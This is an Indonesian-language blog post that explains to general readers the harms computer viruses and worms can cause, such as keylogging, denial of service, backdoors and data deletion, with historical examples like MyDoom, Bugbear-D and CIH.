Virus dapat menyebar melalui e-mail, seperti virus Sobig, dan mampu untuk membuat trafik e-mail yang sangat besar yang tentu saja akan membuat server menjadi lambat atau bahkan menjadi crash. Bahkan jika hal tersebut tidak sampai terjadi, perusahaan yang merasa terganggu dengan insiden ini toh juga akan mematikan servernya.

Mencuri data konfidental

Worm Bugbear-D contohnya, mampu merekam keystroke keyboard Anda, termasuk password dan lain sebagainya. Rekaman tadi biasanya akan dikirim ke si pembuat virus untuk dimanfaatkan lebih lanjut.

Menggunakan komputer Anda untuk menyerang suatu situs

MyDoom contohnya, dia menginfeksi banyak komputer di seluruh dunia untuk menyerang situs SCO dengan traffic data yang sangat besar. Ini akan membuat situs tersebut akan terbebani luar biasa dan akhirnya akan crash dan tidak bisa melayani pengguna lainnya. Ini biasa dinamakan dengan denial of service.

Membiarkan orang lain untuk membajak komputer Anda

Beberapa virus menempatkan trojan backdoor pada komputer dan ini akan membuat si pembuat virus dapat terhubung ke komputer tersebut secara diam-diam dan bisa dimanfaatkan lebih lanjut sesuai dengan keinginannya.
Merusak data
Virus Compatable contohnya, dapat membuat perubahan pada data yang Anda simpan pada dokumen MS Excel.

Menghapus data

Virus Sircam contohnya, berusaha untuk menghapus atau meng-overwrite hardisk Anda pada suatu waktu tertentu yang tidak terduga.

Men-disable hardware

Virus CIH atau Chernobyl contohnya, berusaha untuk meng-overwrite chip BIOS pada tanggal 26 April dan akan membuat komputer Anda menjadi tidak berfungsi.
Menimbulkan hal-hal yang aneh dan mengganggu
Virus worm Netsky-D contohnya, dapat membuat komputer berbunyi beep secara spontan atau tiba-tiba untuk beberapa jam lamanya.
Menampilkan pesan tertentu
Virus Cone-F contohnya, akan menampilkan pesan berbau politik jika bulan menunjukkan bulan Mei.
Merusak kredibilitas Anda
Jika virus mem-forward dirinya sendiri dari komputer Anda ke komputer pelanggan Anda atau komputer rekan bisnis Anda, maka hal ini akan merusak reputasi Anda sebagai suatu organisasi dan mereka akan tidak mau lagi melanjutkan hubungan bisnis dengan Anda atau malah menuntut kompensasi dari pihak Anda.
Membuat malu Anda
Virus PolyPost contohnya, akan memposting dokumen dan nama Anda pada newsgroup yang berbau pornografi.
Readmore »»
Copyright © 2010 Gg.Guan | Design : Noyod.Com | Images: Moutonzare